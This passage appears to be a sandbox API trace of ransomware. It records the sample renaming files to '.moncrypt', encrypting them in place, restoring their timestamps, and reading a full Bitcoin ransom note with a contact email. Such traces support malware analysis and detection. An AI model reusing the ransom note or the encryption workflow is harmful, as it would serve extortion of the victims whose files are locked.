dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNGr", lpUsedDefaultChar=0x0) returned 72 [0053.948] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0053.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\SKY\\THMBNAIL.PNGr", lpUsedDefaultChar=0x0) returned 4 [0053.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0053.948] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0053.948] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0053.948] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0053.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0053.949] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.moncrypt")) returned 1 [0053.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.950] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.950] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x7279 [0053.950] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.950] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0053.952] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.952] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.952] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.952] GlobalUnlock (hMem=0x440004) returned 0 [0053.952] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0053.952] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.952] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.952] GlobalUnlock (hMem=0x440004) returned 0 [0053.952] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.952] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.952] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.952] GlobalUnlock (hMem=0x44000c) returned 0 [0053.952] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.952] GlobalUnlock (hMem=0x440004) returned 0 [0053.952] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.952] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.952] GlobalUnlock (hMem=0x440004) returned 0 [0053.952] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.953] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.953] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.953] GlobalUnlock (hMem=0x440004) returned 0 [0053.953] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0053.953] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0053.953] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0053.953] SetFilePointer (in: hFile=0x18c, lDistanceToMove=29305, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x7279 [0053.953] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0053.953] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0053.953] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0053.964] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0053.964] CloseHandle (hObject=0x18c) returned 1 [0053.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.965] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0053.965] CloseHandle (hObject=0x18c) returned 1 [0053.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0053.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0053.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.966] GlobalUnlock (hMem=0x440004) returned 0 [0053.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.966] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.966] GlobalUnlock (hMem=0x440004) returned 0 [0053.966] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.966] GlobalUnlock (hMem=0x44000c) returned 0 [0053.966] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0053.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4156e9e0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4156e9e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4156e9e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0053.966] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0053.967] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0053.967] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.967] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.967] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0053.967] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.967] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.967] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0053.967] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0053.967] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0053.967] CloseHandle (hObject=0x18c) returned 1 [0053.967] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0053.967] GetLastError () returned 0x12 [0053.967] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0053.968] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.968] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.968] GlobalUnlock (hMem=0x44000c) returned 0 [0053.968] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.968] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.968] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.968] GlobalUnlock (hMem=0x44000c) returned 0 [0053.968] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.968] GlobalUnlock (hMem=0x440004) returned 0 [0053.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41594b40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41594b40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0053.968] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0053.968] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.968] GlobalLock (hMem=0x440004) returned 0x550170 [0053.968] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.968] GlobalUnlock (hMem=0x440004) returned 0 [0053.968] GlobalLock (hMem=0x440004) returned 0x550170 [0053.968] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.968] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.968] GlobalUnlock (hMem=0x440004) returned 0 [0053.968] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.968] GlobalUnlock (hMem=0x44000c) returned 0 [0053.968] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.969] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41594b40, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41594b40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.969] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.969] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.969] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.969] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.969] GlobalUnlock (hMem=0x44000c) returned 0 [0053.969] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.969] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.969] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.969] GlobalUnlock (hMem=0x44000c) returned 0 [0053.969] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.969] GlobalUnlock (hMem=0x440004) returned 0 [0053.969] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.969] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4156e9e0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4156e9e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4156e9e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0053.969] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.969] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.969] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.969] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.969] GlobalUnlock (hMem=0x440004) returned 0 [0053.969] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.969] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.969] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.969] GlobalUnlock (hMem=0x440004) returned 0 [0053.969] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.969] GlobalUnlock (hMem=0x44000c) returned 0 [0053.969] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.969] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.970] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.970] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.970] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.970] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.970] GlobalUnlock (hMem=0x44000c) returned 0 [0053.970] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.970] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.970] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.970] GlobalUnlock (hMem=0x44000c) returned 0 [0053.970] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.970] GlobalUnlock (hMem=0x440004) returned 0 [0053.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.970] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14202, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM.moncrypt", cAlternateFileName="SKYELM~1.MON")) returned 1 [0053.970] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.970] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.970] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.970] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.970] GlobalUnlock (hMem=0x440004) returned 0 [0053.970] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.970] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.970] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.970] GlobalUnlock (hMem=0x440004) returned 0 [0053.970] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.970] GlobalUnlock (hMem=0x44000c) returned 0 [0053.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.970] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0053.970] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.970] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.971] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.971] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.971] GlobalUnlock (hMem=0x44000c) returned 0 [0053.971] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.971] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.971] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.971] GlobalUnlock (hMem=0x44000c) returned 0 [0053.971] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.971] GlobalUnlock (hMem=0x440004) returned 0 [0053.971] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.971] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x733e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0053.971] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.971] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.971] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.971] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.971] GlobalUnlock (hMem=0x440004) returned 0 [0053.971] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.971] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.971] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.971] GlobalUnlock (hMem=0x440004) returned 0 [0053.971] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.971] GlobalUnlock (hMem=0x44000c) returned 0 [0053.971] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.971] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x733e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0053.971] GetLastError () returned 0x12 [0053.971] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0053.972] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0053.972] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0053.972] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0053.972] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.972] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.972] GlobalUnlock (hMem=0x44000c) returned 0 [0053.972] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.972] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.972] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.972] GlobalUnlock (hMem=0x44000c) returned 0 [0053.972] GlobalHandle (pMem=0x555b78) returned 0x440004 